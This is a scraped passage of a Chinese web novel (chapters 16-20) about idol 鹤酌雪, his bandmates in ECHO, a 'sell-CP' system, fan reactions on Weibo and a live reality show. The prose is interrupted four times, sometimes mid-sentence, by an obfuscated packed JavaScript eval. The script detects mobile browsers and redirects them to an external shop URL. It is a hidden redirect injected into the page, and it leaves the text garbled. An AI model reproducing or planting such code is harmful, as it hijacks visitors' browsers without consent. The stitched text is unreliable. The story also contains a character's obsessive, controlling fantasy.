;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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男人一身风衣,风尘仆仆闯进温暖的别墅,肩头还落着细雪。 即便匆匆,脸上也始终是那副风轻云淡,天塌下来似乎也有所准备的表情,对上少年茫然的眼睛,扬唇道:“完整版录音,我有。” 他有些抱歉地说:“但是里面的内容,我也不能保证完全能听,可能需要你先检查一下。” 楼弛又强调了一遍,目光温情:“只有你,小雪。” 蒋寻:…… 你们的经纪人早上五点被电话轰炸起来就开始焦头烂额联系公关给你们八百年前的破事擦屁股——结果你们现在有东西竟然还不给我听! 好啊,好好好。 他气笑了:“行,那你们先听,听完再通知老奴能不能公关。” 双手叉腰气势汹汹下楼。 楼弛扶着门框,他这身装扮衬得身量极高,有些压迫感,垂眸注视矮他半头的少年,明明还是笑着的,依旧显得危险。 可能因为鹤酌雪现在穿的是青春气息很足的卫衣短裤,嫩得宛如还没出学校的清纯男高,而楼弛看上去像在商场身经百战的某位霸总。 两人这个姿势,很难不联想到一些烂俗的都市偶像剧。 “我方便进来吗?”楼弛礼貌问,半只脚已经踏进门内了。 原来还是个强闯少男卧室的霸总。 16.小狗 “当然——不行等等!” 鹤酌雪回头看见被自己拱的乱七八糟的床铺,突然想起来,被窝里还有他刚脱下来的那套轻纱睡衣! 完蛋完蛋完蛋。 他飞扑上床钻进被子里,手摩挲到那块布料然后掀开卫衣把它塞到小腹位置,蜷着腿遮掩,耳垂红到滴血。默默挪到床边,平复一会儿情绪后才小声开口:“现在进来吧。” 系统:【我干坏事就这样。】 鹤酌雪磨牙:【闭嘴。】 系统乖乖闭嘴。 其实它原本还想说,鹤酌雪装作什么都没发现就行,楼弛不至于没礼貌到掀别人被子。 但是他现在手忙脚乱把衣服塞自己肚子里后,鼓着肚子往角落一窝,脸还红得要死,谁都能看出在心虚。 比之前穿兔子服时还要像“兔子”。 谁家小妈妈? 楼弛挑眉,他当然知道鹤酌雪是在藏东西,却一时也想不出到底在藏什么。 或者想到了,但把那个猜测往鹤酌雪身上按……又很不合适。 干脆装作什么都不知道:“那我放了。” 他拿出手机,点开一段音频,熟悉的沙沙声后,是楼弛的声音。 音频从外传那段的结尾开始,不同的是更清晰,连被扭曲后听不出身份的另一个人,也能听出大致的音色,是个男生,偏向甜美的声线,却因为嫉妒而显得刺耳。。 “麻烦。” “所以楼哥只是怕他拖后腿才关照他吗?”那人似乎松了口气,语含不屑和嘲讽:“这种废物什么时候能认清自己,乖乖离开ECHO才是他该做的事……” “我什么时候说他是废物了?”楼弛疑惑。 他语气是笑的,温和的,说出的话却尖锐漠然:“如果他是废物,那谁还有资格进ECHO,你吗?” “你只是父亲派来监视我的一条狗而已,主人放松了绳子,便忘了之前受的鞭打了吗?” “还有楼哥这个称呼……我怎么不记得我多了个弟弟。” 录音骤然中断。 听得正认真的鹤酌雪还在思考狗为什么可以说话,难道是成精了吗?突然觉得膝盖上的被子被扯了一下。 猛然回神警惕地拉住被子,抬眸发现楼弛单膝跪在了他的床榻上,刚好压在被子上。 系统:【?】 这人装的好好的,怎么突然真的上床。 然而楼弛只是单膝跪上了床,却没有更靠近鹤酌雪,他单手握着手机,紧抿薄唇,镜片后的眼神中饱含歉意:“这段内容可能要删减一下,以及……后面内容的播放需要征求一下你的意见。” “我希望不管怎么样,你听完那些话不要讨厌我。”他低头发丝垂落姿态卑微,配合单膝跪坐这种姿势,和音频中表现出来的傲慢形象大相径庭。 鹤酌雪实在想不到什么样的话才能让他讨厌,他自觉脾气还行,大方摆手:“你放吧,我保证不生气。” 楼弛勾唇,不胜感激的模样:“好。”手指点下播放键。 男生似乎也没想到他会突然变脸,支支吾吾,再开口试图讨好:“我没有套近乎的意思……你别生气。” “不管有没有,你刚刚很冒犯。”楼弛声音渐冷:“尤其是对于鹤酌雪。” “我从来没有嫌弃过他是累赘,恰恰相反,鹤酌雪是天才,是缪斯。别说ECHO应该为能邀请他入团而感到庆幸,连我也应该庆幸。” “哼哈,”楼弛笑了:“这或许是我能接触他的唯一机会了。” “比起牵着他,保护他,引领他,我更希望的始终是——”楼弛抬头,深邃眼眸紧盯着鹤酌雪,眸底所含情绪是读不出来的,可能他自己都没意识到。 他的话语和录音重合,虔诚炽热,凝视着面前少年,宣誓一样的语气:“我希望他能成为我的主人。” 那一瞬间是镜片也遮掩不住的狂热和痴迷,就像瓶中魔鬼等待千百年后等来的解禁,第一印象你会以为他要吃掉,或者杀了面前的恩人。 而魔鬼只是单膝下跪,扶起那人的手,献上永恒忠诚的吻。 鹤酌雪呆住了。 他下意识想把被子拉高,自己钻进去,但是楼弛压着被子,所以他做不到,只能更紧的蜷起双腿,抱在肚子上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069924|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 扭头避开楼弛让他感到不适的凝视。 鹤酌雪低声问系统:“楼弛什么意思啊,什么主人……他也是小狗成精吗?” 系统:【他纯贱。】它也纳闷,从犄角嘎达把那本任务背景介绍又翻了出来。 理论上楼弛不应该那么早暴露属性。 他受什么刺激了? 其实鹤酌雪隐隐约约知道“小狗”指什么,但是他只在和粉丝互动,比如某次签售时听到过这种自称,粉丝叽叽喳喳:“小雪我是你的小狗!”。 鹤酌雪当时好像还认真回复他说:“我没有养过小狗诶,但是如果养小狗的话,应该是小型犬,这样它往我身上扑时不会把我扑倒。” “大型犬好像也可以,我可以把头枕在他身上玩手机。” 他在很认真回答有关养小狗的问题。 那个口嗨的粉丝却突然像被捏住嗓子一样尖叫一声,把礼物塞到鹤酌雪怀里就跑开了。 导致鹤酌雪剩下的话没说出来。 他想说:“我还是不希望你当小狗的,因为你变成小狗我就听不懂你在讲什么了,只好把你抱回家养到你学会说话。” “永远不会说话……也没关系吧,你是粉丝,你喜欢我,我对你好就是应该的。” 但他是第一次听队友说要当自己的狗。 这个人还是楼弛,鹤酌雪心中可靠,冷静,温和的队长。 ……鹤酌雪不想养这种小狗。 队长看上去就很能花钱又很能赚钱,他明明可以自己养自己,为什么要鹤酌雪养! 这不是强买强卖,耍流氓吗? 队长你退休就退休,为什么要给队员上压力! 所以回过神来,鹤酌雪又坚定地对上楼弛深黑的眼睛,一字一顿:“队长,我是不能当你主人的。”养不起。 “噗。”楼弛笑了,他之前即便跪在床上,腰背也是挺直的,现在骤然放松下来,好像刚刚的宣誓都成了玩笑,泡沫一样散开:“你不用在意,我也没有真的要你当主人的意思?” 他顿了一下,平静地说:“你就当刚刚什么也没听见,可以吗?” 17.缪斯 “好哦。”不用养大狗了,鹤酌雪松了口气。 楼弛将手机收起来:“总之完整录音是这样,只要发出去,就可以证明ECHO不和纯属谣言。我会把删减版再发给蒋寻。” 他看着鹤酌雪现在依旧警惕的动作,失笑:“虽然不知道你藏了什么,但是……”他挑眉:“我先出去了,你可以拿出来重新藏好。” “如果是比较特殊的东西,最好也不要让他们几个看见吧。” 鹤酌雪点头,楼弛下床离开了房间。 他小声道:“还好他没有问到底是什么。” 鹤酌雪实在不想一个早上社死两遍了! 系统:【我以为你会好奇,他明明已经准备好删减版了,为什么还非要把未删减版拿来给你听一遍。】 偷偷藏不住,臭狗也是准备摇着尾巴来舔人了。 这次就是试探鹤酌雪的底线,但凡鹤酌雪表现出一点包容理解,可能都会被直接扑到床上咬手腕,肚子里揣的衣服也会被掏出来然后被逼着穿上吧。 系统感到烦躁,他当人渣毁灭系统时见多了恶劣的人,比楼弛更爱装更疯的也有。 可是这些事情一旦发生在鹤酌雪身上,都变得难以忍受。 所以它想再提醒鹤酌雪一下,如果鹤酌雪还那样懵懂,它就—— “当然是为了让我知道啊。”鹤酌雪淡淡道。 系统一愣:【你看出来了?】 “……我真的很像傻子吗?”鹤酌雪把纱衣掏出来,思考半天,将它塞进了被单夹层:“与其说看出来了,不如说感到熟悉。” “楼弛刚刚看我的眼神,和粉丝的是不一样的,他说想给我当狗不是口嗨,而是……真的想咬我。” 鹤酌雪无法描述那种感觉,好像很久之前也有人这样匍匐在他面前,求他多看他一眼,求他对他笑。 哪怕踹一下那个人,也会被握住脚踝然后——拽下床。 但也只是感觉,鹤酌雪并没有与之相关的任何记忆。 却对相似的眼神本能恶心。 恶心到,他刚刚虽然是防备状态地抱住膝盖,可如果楼弛再靠近一点点。 鹤酌雪很有可能会一巴掌扇过去或者将人踢远。 鹤酌雪垂眸,鸦黑睫毛轻颤,他虽然迟钝,但系统知道,他的情绪永远是鲜活的。 会有许多不着边际的胡乱话,很好逗,很容易生气却也好哄。 现在却像被抛入冰封湖底,或者被弥天大雾遮掩,总之——这一瞬间系统与鹤酌雪的情绪连接断开了。 它清晰地认识到鹤酌雪的思绪正在走向一个它无法触及的边界地带,它有些害怕。 好在只有一瞬,情绪重新连接,系统发现鹤酌雪此刻正在厌烦。 “系统,卖腐值刷到多少才算完成任务啊。”鹤酌雪不由自主摸了摸自己的脚踝,像是想抹去幻觉中存在的黏腻感。 【一千。】系统道:【只要每个任务对象的卖腐值都刷到一千,就能获得卖腐大师成就。但是宿主刚刚也知道了,卖腐值是会下降的。而和某个卖腐对象卖腐值过高几乎必然会导致和其他任务对象卖腐值的降低。所以算法得出的最优解就是一起卖,缓卖稳卖。这也是“卖腐大师系统”别名“端水大师”系统的原因。】 在它解释时,电子播报又突然响起: 【楼弛卖腐值提升至50】 【楼弛卖腐值提升至70】 【楼弛卖腐值提升至100,一百积分已发放至您的账户。】 如果没猜错,这应该是耀星发公关了。 就算删去那些“主人与狗”的相关言论,那段录音里楼弛对鹤酌雪不加掩饰的欣赏甚至追捧也足够令人吃惊。 这还是第一个,完全由于外界反应而提高到100卖腐值的任务对象。 鹤酌雪点开微博——果然,现在热搜第一是#ECHO过山车式公关#。 紧随其后的就是和这个词条关联的别的词条,比如#鹤酌雪缪斯#,#接触他的唯一方式#。 点开评论,热评第一简洁粗暴:[?] [此标点符号完全表达本人遭受愚弄后的感受,下次再信ECHO团内不合我就去赤石] [去你的团内不合,团内不和指的是队长公费追星队员还公开示爱吗?] [完全明白为什么lc在首专纪录片里,第一个提要让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076444|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' hzx当“白王”了] [潜台词:你是王,你是我唯一的王。] [lcwahzx,swa!] 也有表达不同态度的: [只能说明lc欣赏hzx而已,不能完全证明ECHO团内和谐啊……而且没人觉得这俩人现在这样更有小团体的味道了吗?] [追男团最恶心小团体了。] [别装了,你是恶心小团体还是恶心自己正主不在小团体?需要我提醒吗现在确定和hzx关系好的不只lc,还有“哥哥”jsh,小道消息hzx还时不时会去xcs家借住……随意造谣小团体不考虑事实,别太恨了] [至少hzx绝对没搞小团体,此人现在似乎和每个队友都相处不错,魅魔来着的。] [一周横空出世两个高热度CP,喷不了这是真老天爷赐卖腐饭吃。] [们小雪就这样讨人喜欢。] [……] [每次都会被雪姐的危机意识和控评能力震惊。] [永远能第一时间发现风向不对带节奏的言论然后扇回去,内娱第一战斗粉名不虚传。] [我记得hzx也是ECHO唯一乐意媚粉的吧,其他四个都拽的跟大爷似的,出来营业一次要他们半条命。] [作为太子粉,其实有时候很羡慕雪姐……] [爬墙吧,谁乐意天天看臭男人脸色。] 后面的话题就越来越歪,值得关注的是另一件事:楼弛x鹤酌雪的cp超话正式更名“缪斯cp”,并且新成员数量暴增。 隐隐有超过“积雪cp”成为ECHO团内第一cp的趋势。 …… 不愧是能直接将卖腐值提到100的外界反馈。 恐怖如斯。 系统小心翼翼问:【你会觉得不舒服吗,我感觉你现在好像不太喜欢楼弛。】 鹤酌雪擦了两把脸又甩了甩头发,像淋雨后抖毛的长毛猫,把自己收拾干净又是光彩照人的金贵宝贝:“其实比起由于内心波动导致的卖腐值提升,这样我会更能接受。” 他真的不敢让楼弛内心再波动一下了。 有点要命。 18.官宣 九点半,鹤酌雪下楼,发现自己竟然又是最后一个到的。 之前怎么没见大家那么勤快。 他从餐桌上捞了个三明治,嚼着坐到了沙发上,谢辞慎旁边。谢辞慎还在玩手机,键盘敲得很快。 鹤酌雪大概能猜到他在干什么——无非就是和刚爆崛起的“缪斯cp”粉大战。 不知道谢辞慎小号够不够用。 他想这件事时走神了,导致被三明治噎住了,拱着腰身拼命给自己顺气,原先低气压在旁边当煞神的纪时珩见状飞速冲上来,拧开矿泉水递给他:“第一次见到能被三明治单杀的人。” 鹤酌雪接过小口小口抿着,眼尾红透,眸光泛水:“我只是不小心。” 纪时珩被他似嗔似恼轻飘飘瞪了一眼,感觉魂都飞了,早起看见鹤酌雪和楼弛名字挂在热搜上时的邪火全消了。 况且他又不是刚知道楼弛想吃天鹅肉。 这又怎么怪的了天鹅? “你喝慢点,再呛着就不用喂水了,喂点药吧。”嘴上冷嘲,眼睛盯着矿泉水的水位线,真心怕鹤酌雪呛到。 谢辞慎本来也放下了手机,但是已经没他献殷勤的空间了,只能把目光放到优雅喝咖啡的楼弛身上:“你的追捧和追随真廉价啊,认识才多久就他是你的缪斯了。” 现在所有人都知道鹤酌雪和楼弛纪时珩关系好,但是谢辞慎这个最早和鹤酌雪相识,本该拥有极深羁绊的却从未被提及姓名。 “说话多轻松,谢大少爷也可以自己发条微博说小雪是你的珍宝你的心脏,反响不一定比我差。”楼弛笑道:“但是你要发吗?” “而且我对小雪就是‘一见钟情’啊,毕竟他确实很讨人喜欢。” 谢辞慎:…… 以他对外的人设,突然发这条微博只会被当成盗号或者真心话大冒险。 真心也成了笑话。 鹤酌雪终于处理完了那口谋害他的三明治,他不想加入讨论,感觉硝烟味很浓。 又怕两人吵着吵着把卖腐值吵下去了,毕竟都是他好不容易刷到的100,都是他的翅膀啊。 于是求助蒋寻转移话题:“蒋哥,我们什么时候去公司?”赶紧把回归专辑主题完全定下来然后大家开始唱歌跳舞吧。 只要忙起来就没空想鹤酌雪在卖多少对cp这种小事了。 蒋寻正忙着和谁打电话,刚好结束,扭头对着客厅里的少爷们吩咐:“所有人转发一下《和好吧,朋友!》的官宣微博。” “他们节目组要蹭早上那波热度。” 《和好吧,朋友!》对外的一个宣传点就是“惊喜感”,节目组声称嘉宾从收到他们节目邀请到录制开始,不会间隔超过48小时。 杜绝提前商量好,进节目后互相捏鼻子商业和好的可能,保证纯正宿敌风味。 他们官宣嘉宾也只在节目正式开始的前一天,噱头和期待值都拉满,每次官宣都能占两三个热搜。 本来也是准备今天官宣的,早上ECHO又住热搜上了,刚好蹭下这波热度。 “不是和好综艺吗,蹭什么卖腐热度,主题搭吗?”纪时珩阴阳怪气:“不知道的以为复婚综艺呢。” “你和谁结?别因为人家多了个新卖腐对象就在这闹别扭哈。”蒋寻一眼看穿,催促道:“快转发。” 鹤酌雪点开微博: 《和好吧,朋友!》V:曾经并肩而立,如今王不见王,雪落下的季节,是否想起曾经合唱过的那一二三四五六七八首歌? 这一次,再为彼此而歌——和好吧,朋友!@鹤酌雪V@楼弛V@谢辞慎V@颜谡V@纪时珩V 官宣是不到一分钟前才发的,现在转评均已过万。 [你们说你们请了谁?] [你们节目策划身份证拍的到底有多好看?] [不敢想到时候弹幕多精彩,节目组你就闹吧我们真正的路人一点也不苦一点也不累] [猜猜明天我会被安上谁家粉籍] [我怎么记得ECHO还没官宣回归……个人名义参加的吗?你们提前通知他们对方会来吗?] [除了hzx和jsh最近有接触,还是因为八百年前遗留的工作,剩下最近都没同台过吧] [倒是经常热搜见:-D] [只是爆了两个cp,休团时闹多难看各家粉丝都记得呢,孩子们三战真的开始了] [播那么早我春晚看什么?] 围观完评论区大概风向,鹤酌雪才按下转发键,配了个[期待jpg.]。 毕竟以这个节目性质,加上蒋寻强硬要他们装不熟,似乎也不好发点别的。 但是很诡异,大家在他评论区刷屏回复的也是一个表情:[收到jpg.]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079758|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 鹤酌雪:你们又理解了什么? 他没忍住,问了其中一个:[收到是什么意思啊?] [!!!] [意思是我们将誓死守护雪王!狗头jpg.] 鹤酌雪V:[?]他呆呆放下手机,思考是怎么给粉丝这个需要守护的错觉。 原来[期待jpg.]的意思是“我很脆弱求保护”吗? 那他下次不用了。 又看了眼评论区,却发现原先刷屏的[收到jpg.]被齐刷刷的感叹号替代,红的很整齐,像过年时挂在墙上的辣椒。 发生什么了? “颜谡你转发了个什么东西!”蒋寻抓狂的叫声恰好在耳边响起,鹤酌雪回头对上颜谡无辜的眼神:“哎呀,手滑了。” “我只是一不小心转发了小雪的微博,顺便比了个心。小雪你会介意吗?” 他冲鹤酌雪眨了眨眼睛,鹤酌瞬间明白,颜谡应该是眼睛进沙子了。 那难怪会转发错,表情应该也是手滑。 鹤酌雪偶尔觉得自己算个贴心小棉袄,于是宽慰蒋寻:“蒋哥没关系的,颜谡只是眼神不好,可以删掉重发。” 蒋寻:…… 我们当中有一个人眼神不好,但不是颜谡,家人们觉得是谁呢? 他一时间不知道该不该同情颜谡媚眼抛给瞎子看:“现在删掉反而做贼心虚……算了先看看粉丝那边什么反应。”我们团真的要出现第三对cp了吗? 鹤酌雪乖乖点头,浏览一遍评论区反应后又秀眉微蹙,对蒋寻摇了摇头:“好像不太好。” 他把手机屏幕展示给蒋寻看,忧心忡忡:“你看看。” [战战战我杀杀杀] [一直在挑衅] [真以为雪姐没脾气吗一个两个都黏着我家乖宝!向所有人开炮!] 蒋寻发现自己漏掉了最重要一件事——根据前几次数据分析来看,磕了cp的大多都是路人和乐子人,也有楼弛和纪时珩的事业粉。 几乎没有鹤酌雪的唯粉。 全团脾气最软看上去最好拿捏的鹤酌雪,同时拥有黏性和攻击力最强的粉丝。 不能再让几个cp发展下去了。 蒋寻想,其他几个无所谓,只有鹤酌雪,cp对他来说究竟是利是弊并不确定。 他不能赌那个可能。 19.直播 颜谡那条转发还是没有删,鹤酌雪清晰听见了耳边的播报声:【颜谡卖腐值提升至100,100积分已发放至您的账户。】 所以除了鹤酌雪的评论区,在路人视角和其他人视角里,这对cp依旧好嗑。 升得太快,连鹤酌雪自己都有点诧异。毕竟他当时和颜谡在化妆间相处那么久,也不过就升了20卖腐值。 所以升颜谡卖腐值更应该走向大众展示这条路,而不是攻心吗? 鹤酌雪若有所思,没注意到蒋寻此刻复杂的表情。 另外三人显然也看见了颜谡的转发,不约而同表情都有些冷。 他们费尽心思才让自己的名字和鹤酌雪关联起来,颜谡却只是“手滑”一下。 什么时候他们也能那么不要脸就好了。 纪时珩还能安慰自己,颜谡明牌对鹤酌雪没兴趣,亲眼见证两人在化妆间亲密接触的谢辞慎做不到。 他握着手机的手绷得青筋凸起,贵公子皮相也要被兜不住的嫉妒冲烂,心脏像在遭受蛀虫啃食,滴落的血水是黑色的,发臭粘稠。 这太不体面,不符合谢辞慎的美学。 所以他不愿承认这种情绪,更愿意将它解释为不甘和不满——凭什么,现在只剩他和鹤酌雪在外界面前还是单纯的“借住”关系。 明明他才最先认识,知道鹤酌雪不是吗? 谢辞慎一瞬间生出冲动,也想转发那条微博。 可连这也是颜谡用过的招数。 他有洁癖,很严重,只是对鹤酌雪不奏效。 他准备从那人手中接过鹤酌雪就已经是破例,破例接受自己只是他的第二个“哥哥”。 但是鹤酌雪后来又多了第三个哥哥。 还和其他人都组了cp,天天挂在热搜上。 明明最该和他并肩的是谢辞慎。 如果当时他去别墅早一些就好了,他能抓住鹤酌雪,在那个人回来之前,鹤酌雪都独属于他。 谢辞慎甚至能想出一些方法让那人永远回不来。 鹤酌雪不会进入ECHO,不会成为偶像,不会站在聚光灯下遭受别人的觊觎。 玩偶能懂什么感情,别人对他的欲念,那些带着下流念头的低俗话语只要被包装成玩笑递到他面前,就会被愚蠢地照单全收。 谢辞慎本可以杜绝这种事情,本可以保护好鹤酌雪。 只要那天,他真的将少年从床上抱下来。 抱住鹤酌雪会是什么感觉?少年那时还穿着睡裙,除此之外空无一物,不设防地裸露大腿,细银链子扣着,或许正因为联系不上自己的哥哥而害怕到流泪。 一旦谢辞慎打开门进去,就会被当成救命稻草一样揽住脖子,珍贵的泪水会全部流进他的衣领。 而他会满怀恶意地恐吓少年:“你的哥哥抛弃你了。” 少年猫一样地发抖,乌黑双眼不再无神而是盛满恐惧,在他最绝望的时候谢辞慎会抱住他,告知他自己的姓名,并发誓以后会一直照顾他。 那樱粉色的薄唇会含着他的名字翻来覆去地念,神经质地强迫自己记住。 如果记不住也没关系,鹤酌雪只喊他哥哥也行。 谢辞慎在这方面可以纵容他,只要他能发誓谢辞慎是他唯一的哥哥。 他们会一起生活,自然而然,等少年长大后,订婚,结婚—— “今天大家不用去公司了,回自己的住所,明天从自己家出发然后去往目的地,节目组的人下午会跟大家对接。” 蒋寻的话语打断谢辞慎的幻想。 他放松双手,生出将手机扔在地面后用脚碾碎的冲动。 只是无人在意。 蒋寻安排完今天的日程,再次严肃提醒:“记得装不熟,基本的东西我们还是要演一下,尤其是和小雪。” “小雪的粉丝组成你们也应该清楚,唯粉妈粉多。公司确实有过要给你们组cp的想法,但是现在来看,弊大于利。所以你们几对cp也应该适当避一下嫌了。”他叹气:“其实你们本身也用不着走炒CP那条路,对吧?” 看似温和其实隐含警告意味。 鹤酌雪在蒋寻心里的地位和他们几个不一样,所有人都心知肚明。 大概是一手带出来的水灵白菜和工作要伺候的几只猴子的区别。 几人懒散应声,当不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083734|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当回事另说。 鹤酌雪又陷入纠结。 其实在他刚绑定卖腐系统时就考虑过这个问题,卖腐本质是玩弄粉丝的感情,他一直知道,并且抱着愧疚的心情在做这件事。 蒋寻这番话又告诉他,后果可能比他想的还要严重。 【不要太担心,你还记得我告诉过你,卖腐值提升可以依据卖腐对象瞬间心理波动吗?如果实在不想炒CP的话,那是另外一条路。】 【只是要比炒CP难走,且不稳定。你可以靠发条微博不经意间炒作两人的关系,但让一个人因为你情感波动到达标准要更困难,还会产生不必要的后果。】 【不过,你选择,我就会陪着你。】 鹤酌雪翘了翘唇角,知道到自己并不是无路可走会让他放松很多:“谢谢你。” 系统在他脑子里炸了朵烟花,当做安慰。 下午,鹤酌雪回了自己的公寓,节目组的人也上门对接,解释了一些后面拍摄的注意事项。 综艺是全程直播,一共六个直播间:主直播间和五位嘉宾的个人直播间。 《和朋》也是第一次采用这种直播方式,显然深刻意识到几位嘉宾粉丝的战斗力。 “鹤老师早点休息,我们明天早上出发,路程可能比您想的要稍微辛苦一点点。”对接完事项,工作人员委婉提醒。 鹤酌雪以为只是公式化提醒,但是显然他猜错了。 从飞机转火车再转汽车,早上把自己打扮得干干净净俨然标准甜豆偶像的鹤酌雪,窝在车后座仿佛被抽走了灵魂,昏昏沉沉到需要系统在他脑子里放音乐才能勉强保持清醒——因为上了汽车直播才正式开始。 他不能给观众直播睡觉。 车内空间有限,摄像头其实离得很近,调试设备时出了点问题,鹤酌雪一直在配合调整角度。 直播开始那刻,是一个超级怼脸镜头,只拍到一只水汪汪的眼睛,睫毛长到逆天。 这个视角有点像社畜打开家中录像,刚好看见猫主子拨弄摄像头,娇气地喵喵叫。 发现直播开了,鹤酌雪就退回去,细声细气和粉丝打招呼:“大家下午好呀。” 20.村花 [家咪玩弄摄像头中] [天哪雪崽小脸白得,好心疼] [我记得有路透他们早上就出现在机场了,怎么现在直播才开始?路上到底走了几个小时?] [小雪是不是有点晕车,车窗降下来会好点吧] 鹤酌雪扫了眼弹幕,打起精神微笑:“有一点点,但是不严重,不要担心哦。” [脸好白……莫名有种病弱感,好想把小雪揣进怀里猛亲] “如果现在亲亲我的话可能只有汽车的味道。”鹤酌雪习惯粉丝的口嗨,故作可怜地瘪了瘪嘴:“我现在臭臭的,会被嫌弃吗?” [谁敢嫌弃这只可怜小猫!] [流浪猫儿我一口咬住带回家洗干净然后埋肚皮猛亲] [骗你的不洗也亲,猫儿这个娇弱/可怜jpg.] 鹤酌雪眯着眼睛笑,他们现在在c市,一个山多的南方城市,比h市要温暖很多。 傍晚的日光依旧耀眼,透过车窗撒在斜倚着的少年身上,将他的发丝也照的金黄,乌黑眼眸湿漉漉,眼尾是打哈欠揉出来的红,令人想到波光粼粼水面上的落花。 鹤酌雪是清冷系长相,却很少带给人距离感,他太擅长让人心生爱怜了。不管是雪白的肤色还是习惯微微抿起的薄唇,都让这份美貌多了易碎的脆弱。 对他说重话一种都是原罪。 何况他老是那样笑,天真,无辜,不谙世事。 [小妹妹别笑了哥哥心都化了] [好想亲好想亲好想亲] [世界对我的霸凌从小雪不是我妹妹开始] “怎么乱喊啊……”鹤酌雪拉平嘴角故作恼怒,圆眼轻瞪,耳垂红透:“再这样我不看弹幕了。” [其实不看弹幕我们会喊些更过分的] “……”鹤酌雪嘟嘟囔囔:“那我还是一直盯着你们吧。” [雪咪is watching you!] [盯着更兴奋了] [我对这个小雪犯了错] 鹤酌雪没辙了。 算了,弹幕自由吧。 “现在在哪吗?我们准备去一个小镇,在山里。” “对,正在进山。开车可能还要两三个小时诶,我可以和大家聊天。” 鹤酌雪歪头,刚想再茶一下说:“你们不会嫌我烦吧?”,车就突然停了。 然后他就被导演请出了后座,懵懵站在了风中,乌发凌乱,呆毛顽强地跳舞:“是车子坏掉了吗?” 弹幕心疼他的天真:[不,是你要被整了] 《和朋》传统节目,随机方式登场! 坐汽车到达目的地的方式还是太体面了,作为曾经的朋友当然要互相展示狼狈的一面,才能为敞开心扉做好准备。 所以节目组会在半路把嘉宾扔下,嘉宾必须要搭乘下一个随机路过的交通工具登场。 曾经有一期嘉宾非常惨——因为下一个在他面前路过的交通工具是儿童扭扭车。 他不得不抢了人家孩子的扭扭车,扭了一个半小时才扭到目的地。 那期和好速度非常快,毕竟再小心眼的人看见仇人晃着扭扭车登场也会释怀的。 其他几人也被放在了半路,谢辞慎纪时珩运气极好,下一个路过的交通工具还是汽车。 颜谡差一点,小三轮。楼弛最差,牛车。 鹤酌雪算不上好也算不上坏,下一个在他面前路过的交通工具是拖拉机。 刚刚还在和粉丝卖萌耍赖小偶像,现在坐在拖拉机上,节目组还额外赠(强)送(制)他一个花头巾让他拿来挡风。 头巾是红绿配色,堪称扎眼,包在鹤酌雪脑袋上将他雪白的皮肤硬衬出些血色,像朵含苞待放的芙蓉花。 看上去是会羞答答扯住别人袖口让人慢些走,再拉着人手心放在胸口低眉浅笑,问:“我现在心跳快不快”的那种小村花。 偶像包袱超级重的鹤酌雪想死的心都有了。 [噗哈哈哈哈哈哈哈哈哈] [神人节目组哈哈哈下次给我们小雪换粉色的可不可以!红配绿头巾好丑!] [俺娘咧这鹤小花咋恁俊呢,俺要他做俺洗衣粉儿] [洗衣粉儿俺给你干活,啥也不收] 连系统也在偷笑:【其实哈还行哈哈哈】 “你们笑声好大,吵到我了。”鹤酌雪捂住脸不愿接受事实。 拖拉机“突突突突”走了半个小时,鹤酌雪生无可恋地捂着头巾装了高冷村花。 终于抵达目的地,他想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 